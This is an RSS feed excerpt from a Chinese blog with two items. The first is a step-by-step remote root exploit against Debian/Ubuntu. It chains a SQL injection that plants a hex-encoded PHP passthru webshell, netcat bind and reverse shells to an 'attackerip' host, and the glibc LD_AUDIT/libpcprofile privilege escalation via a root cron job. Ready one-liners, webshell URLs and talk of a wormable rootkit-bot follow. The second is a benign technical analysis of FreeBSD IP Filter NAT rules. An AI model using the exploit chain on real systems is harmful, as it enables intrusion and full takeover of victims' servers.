Debian/Ubuntu remote root exploitation example (GNU dynamic linker DSO vuln).
See (http://www.exploit-db.com/exploits/15304/). Should work on other linux
distros too.

--------------
| BACKGROUND |
--------------

Typically it isn't possible to use a suidshell or modify /etc/passwd directly after
webshell access (user nobody) to gain root access. But with the DSO vuln we can
launch commands as root and we can create a socket and connect to the user or setup
a bindshell.

----------- 
| EXPLOIT |
-----------

After you have found a SQL-Injection vuln you can create a php backdoor. This is typically
possible with select into dumpfile/outfile statement. The values are a simple
&lt;? passthru($_GET['c']); ?&gt; backdoor.

---
DROP TABLE IF EXISTS `fm`;
CREATE TABLE `fm` (
`fm` longblob
) TYPE=MyISAM;
insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);
select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php';
drop table fm;
flush logs;
---

Now you can connect to the server and create a connection with telnet, nc, write
binary with perl -e ' print "x41x42x43x44"', echo -en 'x41x42x43x44', ...
If direct shell access isn't possible you can use phpcode to create your own
binary with php fwrite:

---
&lt;?php $File = "/tmp/nc";
$Handle = fopen($File, 'w');
$Data = "x41x42x43x44";
fwrite($Handle, $Data);
fclose($Handle); ?&gt;
---

Now use 

Bind-Shell: http://victimip/xampp_backup.php?c=nc -l -p 9999 -e /bin/bash
Reverse-Shell: http://victimip/xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash

in your webbrowser and connect to your shell

$ nc victimip 9999
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

---

Now lets exploit the DSO vuln. You need umask 0 for correct
rw-rw-rw creation of exploit /etc/cron.d/exploit

$ umask 0

This is the shellscript for the cron.d entry.

Bind-Shell: $ echo -e '/bin/nc -l -p 79 -e /bin/bash' &gt; /tmp/exploit.sh
Reverse-Shell: $ echo -e '/bin/nc localhost 8888 | /bin/bash' &gt; /tmp/exploit.sh

Now make your shellscript executable for cron:

$ chmod u+x /tmp/exploit.sh

Create rw-rw-rw file in cron directory using the setuid ping program:

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

Launch every minute a suid root shell

$ echo -e '*/1 * * * * root /tmp/exploit.sh' &gt; /etc/cron.d/exploit

Now you have a root shell every minute.

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

-------------------
| EXPLOIT oneline |
-------------------

echo -e '/bin/nc -l -p 79 -e /bin/bash' &gt; /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' &gt; /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

------------------------------
| EXPLOIT from webshell only |
------------------------------

http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' &gt; /tmp/exploit.sh
http://victimip/xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.sh
http://victimip/xampp_backup.php?c=umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
http://victimip/xampp_backup.php?c=echo -e '*/1 * * * * root /tmp/exploit.sh' &gt; /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

---------------------------------
| EXPLOIT from webshell oneline |
---------------------------------

http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' &gt; /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root /tmp/exploit.sh' &gt; /etc/cron.d/exploit

$ nc attackerip 79
id
uid=0(root) gid=0(root) groups=0(root)

---------
| IDEAS |
---------

Looks like a wormable bug. The urlobfuscated (IDS/IPS) worm search for SQLI/BSQLI bugs or remote code execution bugs.
Then the worm injects the evil url and do the same for other ips. It installs a rootkit-bot and the game is over.</pre> <p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Linux_0Day">Linux通杀0Day（2010年10月19日）</a></p><p><a href="http://www.holmesian.org/ubuntu-tips">Tips for Ubuntu</a></p><p><a href="http://www.holmesian.org/PWbug">最新phpwind漏洞利用程序</a></p><p><a href="http://www.holmesian.org/PHPWind7-8">PHPWind7&amp;amp;8最新漏洞-2010.9.6</a></p><p><a href="http://www.holmesian.org/Ubuntu_tcpdump">Ubuntu下的抓包工具tcpdump</a></p><p><a href="http://www.holmesian.org/ubuntu-desktop-3d">终于解决ubuntu的3D桌面问题</a></p></div>]]></description>
	<pubDate>Fri, 05 Nov 2010 12:42:36 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Debian_door</guid>

</item>
<item>
	<title>FreeBSD下IP Filter NAT机理分析</title>
	<link>http://www.holmesian.org/IP_NAT_FreeBSD</link>
	<description><![CDATA[<p>&nbsp;摘 要：本文依托cnfug开发的Floppy Firewall为平台，以嗅探器抓包分析结合相应的路由转发规分析IPFilter对数据报进行转发和NAT的机理，最终针对实际案例的需求提出解决方案。</p>
<p>关键词：NAT FreeBSD 嗅探器 TCP/IP</p>
<p><br />
<strong>一、前言</strong><br />
如今很多企事业单位拥有自己的LAN，介入互联网的方案比较流行的方案是选用如图1-1的拓扑结构来构建网络。防火墙服务器充当过滤和转发数据报的中间代理，专用服务器安置在防火墙后面避免受到攻击。这类防火墙有硬件和软件之分，对于一个普通小型局域网来说，软件防火墙已经可以满足需求，而软件防火墙领域几乎是IPfw和IP Filter的天下，它们的功能非常强大，安装也非常容易，考验防火墙管理员的主要是如何配置防火墙的rules，现在在网上可以很容易地找到如何配置 rules的文献，但是很少有介绍其工作机理的资料，本文将以一个基于IP Filter防火墙的实际案例来分析这些rules的工作机理，并将其运用到实际案例中解决特殊的需求问题。<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-01.JPG" /></p>
<p>图1-1 常用的拓扑结构<br />
<strong>二、案例需求&nbsp;</strong><br />
本文所举案例为一实验室的局域网的防火墙配置。该实验室局域网拥有30台客户机，它们通过3个HUB连接在一起，通过一台安装有FreeBSD的服务器用IPFW共享一个固定IP连接Internet，该服务器除了充当局域网的防火墙之外，在其上面还运行了几乎所有FreeBSD能够提供的大众化服务，如WEB、TOMCAT、JAVA、FTP、SMABA、MAIL、DNS、TELNET等（详情请参考cnfug期刊第八期的《用FreeBSD构建家庭网络世界》和第九期的《基于FreeBSD操作系统的安全电子邮件系统架设》），随着使用人数的增多，该服务器慢慢有些不堪重负，经常可以看到在后台运行的NATD服务占用了约50％的CPU时间，尤其是TOMCAT服务启动并调用JDK之后占用的内存高达106M之巨，在高峰期客户端的上网速度有明显变慢。为了缓解服务器的压力，我采用了前面介绍的现今比较流行的方案，把防火墙和专用服务器的功能分开，防火墙采用了由cnfug开发的基于 FreeBSD的Floppy Firewall系统。如此，一来可以节约硬件成本，因为所有配件下来不到150元；二来可以方便日后的维护，因为一旦配置好防火墙之后，再也不怕断电等会导致硬盘版操作系统数据丢失的意外事故，也方便系统的备份（仅仅备份一张软盘镜像而已）；三来可以对在防火墙后的专用服务器提供一道安全屏障，这点是显而易见的，虽然对于我们来说网络安全并不是太重要。<br />
这套由cnfug开发的软盘版的FreeBSD防火墙使用的是4.9版本的FreeBSD，防火墙使用的是IP FilterV3.4.20，改造后的网络的整体拓扑结构如图2-1所示。<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-02.JPG" /><br />
图2-1 网络物理拓扑图<br />
本案例的需求主要有四点：<br />
1、 子网192.168.0.0/24中的所有电脑可以借助网关(防火墙)192.168.0.1透明地访问互联网。<br />
（注： 192.168.0.0/24这种格式在IP Filter 的rules中大量使用，其中/24＝3&times;8表示三个字节的子网掩码255.255.255.0，掩盖一个C类网段，在这里表示IP地址前三段等于 192.168.0的所有电脑。同理，/16表示一个B类网，/32唯一标识一台主机。）<br />
2、 外网的客户机可以透明地可以访问IP地址为192.168.0.251的多功能服务器（Web、Email、Ftp服务）和IP地址为192.168.0.2的文件兼打印服务器。<br />
3、 内网客户机可以和外网客户机一样通过访问外网IP202.115.65.225来访问内网的web、email等服务器。<br />
4、 内网的客户机可以访问远程的Ftp服务器同时外网的客户端也可访问内网的Ftp服务器。（由于Ftp协议的特殊性在此专门提出）从图2-1看到，防火墙的两块8139网卡rl1和rl0分别连接Internet和局域网的交换机，外网卡IP地址为202.115.65.225内网卡IP地址为192.168.0.1。由于内核中IPf的缺省设置为block all，即过滤所有的包，在该情况下，防火墙的两块网卡不能和外界有任何数据交换，ping任何地址都提示&ldquo;ping:sendto: no route to host&rdquo;，所以必须人工配置IPf规则，如下命令可完成让所有数据报自由进出防火墙的两块网卡：<br />
#cat ipf.conf //红色的字表示是系统提示符<br />
&gt;pass in all //允许任何包从任何网卡进<br />
&gt;pass out all //允许任何包从任何网卡出<br />
&gt;end //保存<br />
#ipf &ndash;f ipf.conf //执行ipf.conf文件中的过滤规则<br />
#sysctl &ndash;w net.inet.ip.forwarding =1 //打开内核的ip转发  现在防火墙没有任何过滤规则，可以允许所有的数据报自由进出自己的两块网卡，但是它还不知道如何把到达其上的数据报转发，下面我将详细介绍怎么让它按照我们的需求转发数据报，这也是本文的重点所在。（注：本文主要目的是介绍IP filter防火墙软件对数据报转发机理，也就是路由功能，对于如何对数据报进行过滤不是本文的内容，请参考IPf的相关文献。）</p>
<p><strong>三、IP Filter NAT机理分析</strong><br />
IP Filter的功能主要包括过滤和路由两部分，所以该防火墙软件包有两个主要工具－IPf和IPnat。IPf可以实现数据报过滤，上一节就用到了IPf 命令来使pass in/our all过滤规则生效， 路由功能则由IPnat来实现，IPnat命令用来读取并执行用户设定的路由规则。<br />
3.1 用map指令来共享IP地址<br />
为了让192.168.0.0/24（24=3&times;8即三个字节的子网）的电脑可以共享一个外网IP来访问互联网，用一条最基本的两条rules就可以实现，如下所示：<br />
map rl1 192.168.0.0/24 -&gt; 202.115.65.225/32 portmap tcp/udp 10000:39999<br />
map rl1 192.168.0.0/24 -&gt; 202.115.65.225/32  这两条rules从字面上很好解释，即在网卡rl1上把192.168.0.*(/24表示3字节的子网掩码，标识一个C类网段的所有IP地址)网段的所有IP地址和IP地址202.115.65.225（/32表示4字节的子网掩码，唯一标识一个IP地址）进行单向映射，portmap的用处是告诉防火墙把内网客户机的端口进行临时存储时的映射范围为10000-39999，具体原理在下面将详述。<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-03.JPG" /><br />
图3-1 内网用户访问外网WEB服务器的映射过程  从图3-1中，内网中IP地址为192.168.0.3的PC客户机欲访问外网的IP地址为202.108.249.134的web服务器，连接过程如下：<br />
①建立连接阶段（SYN第一次握手）：客户机先建立一个随机的TCP端口1413准备和web服务器的80端口连接，但由于它们不在同一个网段，所以请求连接的SYN数据报被发送到了和客户机在同一个网段的网关服务器，在这里网关服务器就是我们的防火墙兼路由器，所以数据报在数据链路层会先发送至我们的防火墙的内网卡，从下面捕获的数据报中可以看到，数据报的以太帧的目的地址是网关的MAC地址。网关即防火墙收到该数据报之后解开IP报取出目的IP地址，发现目的地址是外网IP所以在内部就转发到外网卡rl1，rl1会按照IPnat设置的转发规则，把在192.168.0.*发来的数据报接受下来，然后改变IP头中的源地址为它的IP地址（202.115.65.225），map指令会把内部客户端的IP和端口号暂时保存在一个临时路由表中以便接受到返回的数据报时可以正确地交付给客户端，客户机的端口号并不是直接保存起来，而是防火墙先在portmap的范围内找到一个端口和其一一对应起来保存，前面的设置portmap的范围为10000:39999的原因主要是因为这个范围的端口一般不会被防火墙上本身自己的监听端口相同，如果端口冲突的话会导致严重问题，这种暂存功能在防火墙过滤中也经常被使用，Ipf规则中的keep state就是用来在屏蔽外网数据进入的状态下把内网的请求端口号临时保存到一张路由表中以便返回数据报可以顺利被接收。<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-04.JPG" /><br />
图3-2 嗅探器捕获的内网访问外网web服务器的数据报<br />
②对方确认阶段（SNY ACK第二次握手）：外网WEB服务器接收到了以202.115.65.225为源地址的连接请求，所以它会自动发会一个SYN连接请求并捎带一个ACK 确认数据报，这个数据报将被防火墙外网卡rl1接收，防火墙收到后分析IP包的端口号并从临时路由表中计算出该数据报应该转发到哪一个客户机，当然在我们的例子中它会把该数据报发还给192.168.0.3的客户机，正如图3-2②所示。<br />
③连接的最后确认（ACK 第三次握手）：内网客户机收到WEB服务器的ACK＋SYN数据报<br />
后认为连接已经成功了，然后发送最后一个确认数据报给对方，防火墙对该数据报的处理步骤同①。<br />
④发送HTTP连接请求：客户机发送的第一个携带HTTP数据的包从这里开始，第一个数据报是HTTP连接请求。<br />
⑤WEB服务器回复数据报：WEB服务器顺利接收到HTTP请求马上给予回复的数据报，数据报如果标号是200则表示HTTP连接正常，接下来就可以把对方请求的WEB页传给客户机。<br />
完成了上面的5个过程，一个对用户透明的HTTP连接就建立了起来，对于客户端的用户来说，好像是直接连接到WEB服务器上去的，这都有赖于IPnat的功劳。<br />
3.2用rdr指令实现NAT转换<br />
为了让外网的客户机可以通过IP 202.115.65.225访问到位于内网中的web、mail、Ftp服务器，IPnat的rule相应的设置为：<br />
rdr rl1 202.115.65.225/32 port 80 -&gt; 192.168.0.221 port 80<br />
rdr rl1 202.115.65.225/32 port 21 -&gt; 192.168.0.251 port 21<br />
rdr rl1 202.115.65.225/32 port 25 -&gt; 192.168.0.251 port 25<br />
rdr rl1 202.115.65.225/32 port 110 -&gt; 192.168.0.251 port 110  这条规则从字面上也很好解释，rdr是rewrites destination addresses的意思，其功能是把防火墙上接收到的数据报改变目的地址（转发）到另外的一台或多台主机上，上面的指令可以解释为，把rl1（外网卡）上接收到的数据报按照指定的端口转发到指定的位于内网的服务器上，80、21、25、110分别代表web、Ftp、smtp和pop3服务，所以这四条指令会把外网对防火墙的web、Ftp和mail请求转发到IP为192.168.0.251内网服务器上，下面以web服务为例来分析其工作流程。<br />
如图3-3所示，IP地址为202.115.65.38的客户端欲用IP地址202.115.65.225访问位于局域网内部的IP地址为192.168.0.221的WEB服务器，连接过程如下：<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-05.JPG" /><br />
图3-3 外网客户访问内网WEB服务器的过程<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-06.JPG" /><br />
图3-4 从外网客户机上捕获的数据报  ①发起连接阶段（SYN）：客户机202.115.65.38建立临时端口1123发起对202.115.65.225的 80（http）端口的连接请求。该连接请求被传送到了防火墙的外网卡rl1上，按照前面设置的IPnat的规则，防火墙会把在rl1上对80端口的请求数据报要改变其目的地址为192.168.0.221后转发给目的主机。<br />
②服务器确认阶段（SYN ACK第二次握手）：对于位于内网的web服务器来说，虽然它收到的HTTP连接请求是防火墙转发给它的，但是转发过程没有改动IP数据包的头信息，仅仅改动了数据链路层的地址信息，所以它以为请求是直接从202.115.65.38上发出的，因此它会立刻给202.115.65.38发确认数据报，这个过程其实等于202.115.65.38是外网服务器，192.168.0.221是内网客户端，数据报的转发过程和我们上一节讨论的map机制完全一样，数据报会透明地被转发到202.115.65.38，只不过数据报的源IP地址被防火墙改为了202.115.65.225，如果没有设置前面的 map规则，数据包将无法回送，连接会失败告终。从图3-4的第2步我们可以清晰看到外网客户端接收到了返回的确认数据报。<br />
③连接的最后确认（ACK 第三次握手）：外网客户端回送确认数据报给内网web服务器，这个过程和第一步类似不再详述。<br />
④－⑤是HTTP连接建立，和上一节类似。<br />
3.3用bimap指令实现NAT转换<br />
bimap指令可以说是map指令的增强版，map实现的是单向映向，而bimap能够实现双向的同时映向，它其实实现了rdr＋map的功能，其主要应用到你想把所有的外部请求都转换到内网的一台服务器上或几台运行相同服务的负载均衡服务器群上。比如上面提到的案例中的192.168.0.251是一个身兼多职的综合服务器，设置如下bimap规则后对外部来说202.115.65.225就等同于192.168.0.251，对 202.115.65.225的web、mail、DNS、telnet等等访问会一股脑地发给192.168.0.251，用rdr来实现同样的效果则必须每个服务作一个转换。<br />
bimap rl1 192.168.0.251/32 -&gt; 202.115.65.225/32<br />
bimap rl1 202.115.65.225/32 -&gt; 192.168.0.251/32   在我的试验中，上面两个规则都能达到同样的效果，这也充分的说明了该指令执行的是双向的映射。虽然bimap使用起来如此简单，但是bimap并没有被广泛使用，原因非常简单，因为它只能把外部数据报转到内网的一台主机上（负载均衡服务器群组其实相当于一台服务器），如果想把web、Ftp、 email服务器分别让两台以上的主机充当用bimap将无法做到，所以rdr被广泛推崇和采纳。<br />
由于前面已经比较详尽的分别分析了rdr和map的工作机理，对于bimap来说就是rdr和map的组合，所以本文将不做详细介绍。</p>
<p><strong>四、案例需求的实现</strong><br />
4.1需求一的实现<br />
案例的需求一是让子网192.168.0.0/24中的所有电脑可以借助网关192.168.0.1透明地访问互联网。这其实是IPnat的最基本的功能，上面的已经做了详尽的分析，rules设置如下：<br />
map rl1 192.168.0.0/24 -&gt; 202.115.65.225/32 portmap tcp/udp 10000:39999<br />
map rl1 192.168.0.0/24 -&gt; 202.115.65.225/324.2需求二的实现<br />
案例需求二是要实现外网的客户机可以透明地可以访问IP地址为192.168.0.251的多功能服务器（Web、Email、Ftp服务）和IP地址为192.168.0.2的文件兼打印服务器。这其实也是IPnat的基本功能，rules设置如下：<br />
rdr rl1 202.115.65.225/32 port 80 192.168.0.251 port 80 \\web<br />
rdr rl1 202.115.65.225/32 port 21 192.168.0.251 port 21 \\Ftp<br />
rdr rl1 202.115.65.225/32 port 25 192.168.0.251 port 25 \\smtp<br />
rdr rl1 202.115.65.225/32 port 110 192.168.0.251 port 110 \\pop3<br />
rdr rl1 202.115.65.225/32 port 139 192.168.0.2 port 139 \\文件共享 4.3需求三的实现<br />
案例需求三是要实现内网的用户可以以外网的地址访问内网的web、email等服务器，该需求不是非常的普遍，所以很难在现有的资料上找到rules的配置方法。该需求从表面上来看和需求二很相似，但是它们有一个本质的区别，那就是需求二的请求数据报的传给的是外部网卡rl1，而本需求的请求是内网发起的所以请求数据报会被内网卡rl0接收，所以用需求二设置的rules是不能够实现本需求的。<br />
首先我们以web服务为例来一步一步地探索rules的配置方法。第一步可以仿照需求二的rules把rl1改为rl0，让防火墙会自动转发内网的请求数据报，这将得到下面的rule：<br />
rdr rl0 202.115.65.225/32 port 80 -&gt; 192.168.0.251 port 80 \\web  在设置并执行上面的rule后用客户端192.168.0.221试图访问202.115.65.225后失败，表现为延迟一段时间后弹出打不开网页提示。为了找到问题根源所在，分别在客户端和服务器端用捕获数据报进行分析，在客户端和服务器端捕获的数据报如图4-1所示：<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-07.JPG" /><br />
图4-1 在配置错误时同时捕获到的客户端和服务器端数据报<br />
图中的1-7是数据报收发的顺序，1处表明连接请求是从192.168.0.221发至202.115.65.225的，防火墙将会在内网卡rl0接收到了数据报，按照IPnat的rule，防火墙会给客户机发一个ICMP报文告诉客户机有一条更好的路径可以到达目的主机，如图4-2所示：<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-08.JPG" /><br />
图4-2 防火墙发给客户端redirect指令的ICMP报文<br />
ICMP报文的code是&ldquo;5&rdquo;，说明其目的是一个转发控制，gateway address是192.168.0.251就是告诉客户机把对目的主机的请求数据报去选择一条更好的路由192.168.0.251（原本是 192.168.0.1），在ICMP数据报的后面还携带了原IP报的报头信息。2处表明客户机已经知道数据可以直接发送到192.168.0.251， 3处可以看到服务器收到了连接请求，4处表明服务器直接回送确认给客户机，5处表明客户机收到了了服务器的确认信息，6处是该次试验失败的直接原因，因为客户机没有发ACK作应答而是发了一个RST同服务器断开连接，7表示服务器收到客户机RST复位指令断开连接。根据TCP/IP协议，RST指令一般在一个TCP连接结束的时候和数据包发生了某些错误时被发出，现在的情况很明显不应该是TCP连接结束的原因那一定是TCP的三次握手没有成功导致的，仔细观察1、5、6这三次握手的报文记录发现原因在于第一个请求是的服务器是202.115.65.225，之后的两次握手的服务器地址是 192.168.0.251，对于客户机来说，它会认为在5处的回复信息不是对应于它请求的回复，是非法的所以给予RST消息断开连接。所以问题的关键在于要把第二次握手的服务器IP地址转换为202.115.65.225，从5处可以知道第二次握手是服务器发给直接发给客户机的，所以源地址只能是 192.168.0.251，所以不能让它直接回复客户机，为了让其不直接回复客户机又要让客户机可以收到它的回复那只有找防火墙作为中介。如果让防火墙能够记住客户端的地址和端口号然后代替客户端向服务器发送请求，之后再把服务器的回复按照客户端的地址和端口返回给客户端那就可以实现一次完整的TCP连接了，而这个功能恰好是IPnat中的map指令可以完成的，所以解决问题的方法就非常明显了，加入下面rule执行就解决了问题，捕获的包如：<br />
map rl0 192.168.0.0/24 -&gt; 202.115.65.225/32  图4-3所示。其工作流程和前面分析的让内网访问外网的原理相同，不同之出就在于这个rule只对内网卡rl0有效。<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-09.JPG" /><br />
图4-3 配置正确的rules之后的客户机与服务器的交互过程<br />
从图4-3可以清晰地看到，202.115.65.225成为了客户机和服务器的中间代理，忠实地转发着所有的数据报文。<br />
4.4需求四的实现<br />
4.4.1内网Client访问外网Ftp Server<br />
需求四首先要求内网的客户机可以访问远程的Ftp服务器。之所以把访问Ftp服务单独拿出来作为一个需求是由Ftp协议的特殊性决定的，以web服务为例，web服务器始终都是在一个端口上为客户机提供HTTP连接和传输服务，缺省的HTTP端口为80端口（但不限定）。所以对于这种服务，客户机仅仅需要随机地打开一个TCP端口和对应的服务器建立连接，而这个端口会被防火墙map指令映射到防火墙portmap范围内的端口后暂存起来，等数据返回时可以正确地递交给客户机。而Ftp服务仅仅使用缺省的21端口来建立连接和传递控制数据，它还需要开辟另外一条TCP连接通道来专门传输文件数据，其实不光 Ftp服务，netmeeting,pptp等服务器工作模式也是类似，这里以仅仅是以最常见的Ftp为例而已。<br />
Ftp服务器建立第二条 TCP连接通道的方法有两种，分别是PORT模式和PASV模式，通常被称为主动模式和被动模式。主动模式就是客户端在确认已经和Ftp服务器建立了连接之后在客户端主动打开一个随机的端口来和服务器进行数据传送，同时向服务器发出PORT指令告诉服务器自己开设的端口；被动模式和主动模式相反，客户端在和服务器端建立连接后发送PASV要求以被动模式建立数据传输通道，服务器端就会先开放一个端口来侦听客户机的连接以便建立数据传输通道。在该案例中，直接用FlashFXP访问外部Ftp服务器只有用PASV模式才能成功，执行情况如图4-4所示：<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-10.JPG" /><br />
图4-4 客户端用FlashFXP用PASV和PORT模式访问外部Ftp服务器<br />
之所以PASV模式可以成功是因为这种模式下两个TCP连接过程占据主动始终是服务器，客户机被动地连接服务器，仅仅相当于简单增加了一个线程。 PORT模式之所以失败是因为在建立第二个TCP数据通道的时候是由客户端先创建端口来让服务器连接，这样内网客户端和外网服务器都同时充当Client 和Server的角色。如图4-4客户端发出PORT指令要求外网的服务器端连接自己的143端口，在经过防火墙后携带PORT指令的IP包的源地址会更改为防火墙的对外地址202.115.65.225，所以外网的服务器收到了请求后会去试图连接202.115.65.225的143端口，这等同于外网的服务器是一台欲访问内网Server的Client，如果要实现该数据报的正确转发，须在防火墙上应该加一条rule：&ldquo;rdr rl1 202.115.65.225 port 143 -&gt; 192.168.0.221 port 143&rdquo;来实现，但是由于位于内网客户机的端口和IP地址都是随时变化的，无法事先为其设置rules。好在rule中有一种PROXY参数是专门为解决该类问题设计的。在这个案例中rule设置如下：<br />
map rl1 192.168.0.0/24 -&gt; 202.115.65.225/32 proxy port Ftp Ftp/tcp<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-11.JPG" /><br />
图4-5 设置好proxy rule后捕获的内网客户端和外网服务器的连接数据报<br />
图4-5是设置成功后内网客户端以PORT模式和外网Ftp建立连接时捕获的数据报，从中可以看出内网的客户机首先打开了2224（一般大于1024）的端口等待外网的服务器的接入，外网的服务器之所以知道客户端的新开的端口号是因为客户端在此之前发送了一个PORT帧，格式为&ldquo;PORT 192,168,0,221,8,176&rdquo;，这个帧会先被防火墙一直监听客户机发往外部21端口数据的外网卡捕获并且PORT帧中的客户端地址以及端口会被修改为防火墙地址和映射端口，之后防火墙把修改后的数据转发给Ftp服务器，所以Ftp服务器才会创建一个新端口来和客户机建立连接，完成一次完整的 PORT过程。<br />
4.4.2外网Client访问内网Ftp Server<br />
从上一小节介绍了如何让内网的客户端访问外网的Ftp服务器在使用PORT模式可以顺利通过，而这一小节要解决的问题和上一小节的刚好相反，外网的客户端使用PORT模式可以在现有的rules基础上不做任何更改就能和内网Ftp服务器建立连接并传输数据，但用PASV模式反而不行，如图4-6所示。这种现象在上一小节已经分析得比较清楚了，因为PASV模式下，在内网的服务器端会建立一个随机监听端口并在此之前给外网客户机送一个带有其IP地址（192.168.0.*的内网地址）和新建端口号信息的 PASV帧，外网的客户端能正确的接收到该帧然后以&ldquo;192.168.0.*:服务器新端口号&rdquo;为目的地址回复确认报文，当然这种数据报是不可能发送到目的地的，如图4-7所示。<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-12.JPG" /><br />
图4-6 外网客户端FlashFXP用PASV模式时收到到的错误信息<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-13.JPG" /><br />
图4-7 从外网客户端捕获的连接失败过程的数据报<br />
通过分析发现问题的主要症结就在于服务器端告诉客户端的IP地址是一个内网地址，这个信息和普通的TCP连接的源地址不一样，后者的地址信息放置在IP 报头里，防火墙有能力分析并映射为自己的IP，而前者的地址信息放置在上层的应用层报文内部，防火墙不会对每个报文的应用层数据帧进行分析处理，所以内网 IP地址不能被转换成防火墙的真实IP。既然防火墙没有办法实现那只有找发送PASV的服务器寻找解决问题的方法。好在大部分的Ftp服务器都支持手动调节PASV信息帧的内容，拿Windows平台最流行的Server-U服务器为例，设置如图4-8所示：<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-14.JPG" /><br />
图4-8 Server－U设定PASV的IP和随机端口范围<br />
在这种情况下,内网服务器给外网客户会发一个PASV告诉客户端确认报文发送到202.115.65.225，端口为40000到60000随机产生的一个确定数值，外网客户端按照要求回复的数据报会被防火墙接收，但它还不知道怎么转发到内网服务器，还需加入下面rule才能正确转发到内网Ftp服务器。<br />
rdr rl1 202.115.65.225/32 port 40000-60000 -&gt; 192.168.0.221 port 40000 tcp  这条rule会把请求40000-60000的端口范围的数据报转发到192.168.0.221 Ftp服务器。<br />
<img alt="" src="http://fanqiang.chinaunix.net/mirror/www.cnfug.org/journal/12/images/02-15.JPG" /><br />
图4-9 连接成功后的客户端和服务器端捕获的数据报</p>
<p><strong>五、总结</strong><br />
把所有的rules汇总生成最后的rules 如下：</p>
<blockquote>
<p>map rl1 192.168.0.0/24 -&gt; 202.115.65.225/32 portmap tcp/udp 10000:39999<br />
map rl1 192.168.0.0/24 -&gt; 202.115.65.225/32<br />
map rl0 192.168.0.0/24 -&gt; 202.115.65.225/32<br />
rdr rl1 202.115.65.225/32 port 40000-60000 -&gt; 192.168.0.251 port 40000 tcp<br />
map rl1 192.168.0.0/24 -&gt; 202.115.65.225/32 proxy port Ftp Ftp/tcp<br />
rdr rl1 202.115.65.225/32 port 80 -&gt; 192.168.0.251 port 80<br />
rdr rl1 202.115.65.225/32 port 21 -&gt; 192.168.0.251 port 21<br />
rdr rl1 202.115.65.225/32 port 25 -&gt; 192.168.0.251 port 25<br />
rdr rl1 202.115.65.225/32 port 110 -&gt; 192.168.0.251 port 110<br />
rdr rl1 202.115.65.225/32 port 139 -&gt; 192.168.0.2 port 139<br />
rdr rl0 202.115.65.225/32 port 139 -&gt; 192.168.0.2 port 139<br />
rdr rl0 202.115.65.225/32 port 80 -&gt; 192.168.0.251 port 80<br />
rdr rl0 202.115.65.225/32 port 21 -&gt; 192.168.0.251 port 21<br />
rdr rl0 202.115.65.225/32 port 25 -&gt; 192.168.0.251 port 25<br />
rdr rl0 202.115.65.225/32 port 110 -&gt; 192.168.0.251 port 110<br />
rdr rl0 202.115.65.225/32 port 139 -&gt; 192.168.0.251 port 139</p>
</blockquote>
<p>把上面的rules保存到nat.conf文件中后运行下面的命令，防火墙就能完成案例的所有需求了。</p>
<blockquote>
<p>#ipnat &ndash;CF<br />
#ipnat &ndash;f nat.conf</p>
</blockquote>
<p>本文经过分析简单的rule来推测著名防火墙软件IP Filter的NAT工作机理，并在此基础上探讨了复杂路由的设计思路，结合实际案例分析路由数据报的收发流程并提出了完美的解决方案。<br />
(http://www.fanqiang.com)</p>
<p><small>原文链接：</small><a target="_blank" style="color: rgb(34, 68, 187); " href="http://linux.computersci.net/forum/showthreaded.php?Cat=&amp;Board=UBB31&amp;Number=2653&amp;page=19&amp;view=collapsed&amp;sb=4&amp;o=&amp;fpart=1">http://linux.computersci.net/forum/showthreaded.php?Cat=&amp;Board=UBB31&amp;Number=2653&amp;page=19&amp;view=collapsed&amp;sb=4&amp;o=&amp;fpart=1</a></p>
